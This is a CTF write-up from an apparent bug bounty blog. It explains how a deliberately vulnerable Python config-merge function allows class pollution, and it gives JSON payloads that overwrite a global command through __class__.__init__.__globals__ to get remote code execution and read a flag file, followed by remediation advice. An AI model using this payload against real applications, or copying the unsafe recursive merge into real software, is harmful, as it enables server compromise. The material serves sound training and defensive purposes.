Dojo challenge #32 winners!

May 17, 2024

Dojo CTF challenge winners

The 32th Dojo Challenge, 'Security Panel', invited participants to exploit a Class Pollution (Python's Prototype Pollution) vulnerability and capture the flag stored in the flag.txt file of the vulnerable application.

We are delighted to announce the winners of Dojo Challenge #32 below.

💡 Want to create your own monthly Dojo challenge? Send us a message on Twitter!

3 BEST REPORT WRITE-UPS

Congrats to Kant1, ambush and denabled for the best write-ups 🥳

The swag is on its way! 🎁

Subscribe to our Twitter and/or LinkedIn feeds to be notified of upcoming challenges.

Read on to find out how one of the winners managed to solve the challenge.

The challenge

We asked you to produce a qualified report explaining the logic allowing exploitation, as set out by the challenge.

This write-up serves two purposes:

  • To ensure contestants actually solved the challenge themselves rather than copy-pasting the answer from elsewhere.
  • To determine contestants' ability to properly describe a vulnerability and its vectors within a professionally redacted report. This gives us invaluable hints on your unique talent as a bug hunter.

OVERALL BEST WRITE-UP

We want to thank everyone who participated and reported to the Dojo challenge. Many other high quality reports were submitted alongside those of the three winners. 😉

Below is the best write-up overall. Thanks again for all your submissions and thanks for playing!

Kant1‘s Write-Up

————– START OF Kant1‘s REPORT —————

Description

In Python, Class Pollution occurs when an attacker manipulates special attributes and methods associated with Python classes to modify their behavior or even their state at runtime. This vulnerability typically affects mutable objects, such as dictionaries, lists, or custom classes. In this case, the discovered vulnerability was found in the merge_config(src, dst) function, which on the one hand allows users to modify the server's security settings, but on the other hand allows a remote attacker to execute arbitrary code on the web server by providing malicious input as a new security configuration.

Exploitation

During the security tests, an administration panel was discovered. A phase of exploration took place, so as to understand its functionalities.
The panel corresponds to an endpoint accessible to administrators, allowing them to modify a server's configuration based on an input string converted to JSON format.

To begin, we will review, block by block, the available code excerpt, shedding light on the backend logic:

import os, sys, json
from urllib.parse import unquote

# custom script that configure security
CONFIG_FILENAME = "config.json"
COMMAND = f"./security_config.sh {CONFIG_FILENAME}"

At the very beginning, after receiving the request containing the new configuration, the server defines 2 variables:

  1. CONFIG_FILENAME: which contains the name of the configuration file on the server,
  2. COMMAND: which contains a call to the script security_config.sh, setting the file config.json as a parameter. According to the provided indications, calling this script would update the server's configuration from a JSON configuration file.

Thus, we immediately identify what appears to be a variable of interest, COMMAND, mastery of which would allow the execution of arbitrary code on the server, potentially resulting in remote code execution (RCE). However, these 2 variables are hardcoded and seem initially unmodifiable, unless it was possible to modify them through the input configuration file in some way.

The next block of code then defines a class and a function:

# security config class
class SecurityConfig:
    def __init__(self, default_config=None):
        if default_config is None:
            default_config = {}
        for key, value in default_config.items():
            setattr(self, key, value)

# merge two configuration files
def merge_config(src, dst):
    for key, value in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(key) and isinstance(value, dict):
                merge_config(value, dst.get(key))
            else:
                dst[key] = value
        elif hasattr(dst, key) and isinstance(value, dict):
            merge_config(value, getattr(dst, key))
        else:
            setattr(dst, key, value)

Thus, the class SecurityConfig is defined, corresponding to an implementation of a key-value dictionary. This class will likely instantiate objects containing security configurations.

The function merge_config(src, dst) allows, on the other hand, to merge 2 dictionaries (or security configurations): the src configuration overwriting the values of dst, recursively.

In the next block of code, a default security configuration containing a few arguments is defined and instantiated. Then, the file index.html, containing the result page, is read by the program.

# the default security config
default_security_config = {
    "firewall_enabled": True,
    "encryption_level": "high",
    "audit_logging": False
}

security_config = SecurityConfig(default_security_config)

# load template
with open("index.html", "r") as f:
    html = f.read()

Now comes the part where our input comes into play. Subsequently, from what we understand of the code, the user-provided security configuration, which has been URL-encoded, is:

  1. Decoded (URL-decoded) to retrieve the original input string (because of the initial URL-encoding by the Web Application Firewall), using the unquote function,
  2. Converted to JSON format via the json.loads function. This method takes as input a string containing JSON and transforms it into a Python dictionary.

⚠️ If this conversion to JSON fails, the program terminates. Therefore, it is essential to ensure that, regardless of the payload used, the conversion works.

# parse user configuration
try:
    user_config = json.loads(unquote("<URL-ENCODED-INPUT>"))
except json.JSONDecodeError as e:
    msg = f"Failed to parse input JSON: {e}"
    print(html.replace("CONFIG_JSON", msg).replace("COMMAND_RESULT", ""))
    sys.exit(1)

Once the user-provided security configuration is transformed into a dictionary, it is merged into the default security configuration with a call to merge_config(user_config, security_config).

⚠️ This results in an object of type SecurityConfig, hence the use of (vars) to convert it into a dictionary in the next code block.

Then, the config.json file is opened for writing, and the values contained in the new security configuration resulting from the merge are inserted into it using the json.dump(vars(security_config), config, indent=4) method. This method serializes a Python object into a file, effectively replacing the content of the JSON file on the server.

Next, the HTML page to be displayed to the user, containing the values of the server's new security configuration, is prepared, and the server's configuration update is performed by executing the previously defined COMMAND.

# write new config to file
with open(CONFIG_FILENAME, "w") as config:
    json.dump(vars(security_config), config, indent=4)

# print new config to user
render = html.replace("CONFIG_JSON", json.dumps(vars(security_config), indent=4))

# update the server configuration
try:
    out = os.popen(COMMAND).read()
    print(render.replace("COMMAND_RESULT", out))
except Exception as e:
    msg = f"Error executing binary: {e}"
    print(render.replace("COMMAND_RESULT", msg))

To start, I will perform some tests with simple values to observe the nominal behavior of the server.

Thus, I will first attempt to add keys with arbitrary names to the default configuration, which will work. Then, I will try to replace an already existing value in the default configuration, such as the value associated with the firewall_enabled key, which was initially set to true:

  • {”firewall_enabled”:false} → Overrides the original value with the boolean false ;
  • {”firewall_enabled”:"test"} → Overrides the original value with the string "test". Thus, no strict type validation seems to have been implemented ;
  • {"firewall_enabled":{"nested":"test"}} → Predictable validation error at attribution when merging with the default security configuration:
Traceback (most recent call last): File "/app/runner.py", line 24, in exec(code, ctx) File "", line 50, in File "", line 25, in merge_config File "", line 27, in merge_config AttributeError: 'bool' object has no attribute 'nested'

I will also note that the values of the configuration file are reset before each request, which does not allow reusing a payload across multiple requests.

After thorough research, I will find the existence of a vulnerability in Python applications called Class Pollution, a kind of equivalent to Prototype Pollution in JavaScript.

Thus, this vulnerability would stem from the very use of an object merging method such as the one defined in the body of merge_config:

# merge two configuration files
def merge_config(src, dst):
    for key, value in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(key) and isinstance(value, dict):
                merge_config(value, dst.get(key))
            else:
                dst[key] = value
        elif hasattr(dst, key) and isinstance(value, dict):
            merge_config(value, getattr(dst, key))
        else:
            setattr(dst, key, value)

Indeed, in Python, it is possible to access certain special attributes of objects in order to obtain meta-information (meaning information unrelated to the business use of the objects).

According to this blog article (https://blog.abdulrah33m.com/prototype-pollution-in-python/), it is hence possible to "pollute" a class by using some of these attributes:

  • __class__: allows direct access to an object's class,
  • __class__.[__base__]+: in case of inheritance, allows access to the parent class of level n,
  • <method>.__globals__: allows access to the dictionary of the class method <method>, containing its global variables, including all imported modules.

From this point, the attack path initially envisioned becomes feasible: if one could modify the COMMAND variable directly, then one would be able to execute arbitrary code remotely on the server.

To do this, I will go through the only class method defined for the SecurityConfig class, which also is the destination of the string taken as input and then converted into an object: I named __init__, its constructor.

Thus, the payload will be crafted as follows:

{"__class__":{"__init__":{"__globals__":{"COMMAND":"whoami"}}}}

In the server's response, I will obtain the output of this command:

We now have a working remote code execution on the server.

PoC

It will then be left for me to attempt to display the contents of the file /tmp/flag.txt:

{"__class__":{"__init__":{"__globals__":{"COMMAND":"cat /tmp/flag.txt"}}}}

Sending this payload will allow us to obtain the final result, the flag FLAG{J4v4ScRipT??No_Pyth0N_cl4Ss_p0lluTi0n!!} :

Risk

As shown in the PoC, the vulnerability allows a remote attacker to execute arbitrary commands on the server. Depending on the level of privileges required to be able to send the payload to the vulnerable endpoint, an (authenticated or not) attacker could then use this access to tamper with data, access sensitive information on the server, attempt to proceed with its exfiltration, and even try to elevate his privileges to continue the exploitation.

Remediation

Remediating the issue mainly depends on business requirements. However, some mitigating steps for class pollution in this specific case are:

  • Sanitizing and Validating user input: Strict input validation mechanisms should be enforced so as to make sure that only expected and valid input is accepted. The Python library jsonschema can notably be used to validate JSON data against a given set of expected properties and types.
  • Limiting attribute access: The attributes that can be accessed or modified dynamically based on user input should be restricted, by implementing whitelists of allowed attributes in order to prevent access to sensitive or class-wide properties.
  • Using a sandboxed execution environment: The process should be executed within a sandboxed environment with restricted privileges, using Python's built-in sandboxing mechanisms or a third-party sandboxing solution so as to isolate potentially harmful operations. Although this is not a remediation of the vulnerability itself, it would limit the impact of any further remote code execution.

References

  • https://blog.abdulrah33m.com/prototype-pollution-in-python/
  • https://portswigger.net/daily-swig/prototype-pollution-like-bug-variant-discovered-in-python

————– END OF Kant1‘s REPORT —————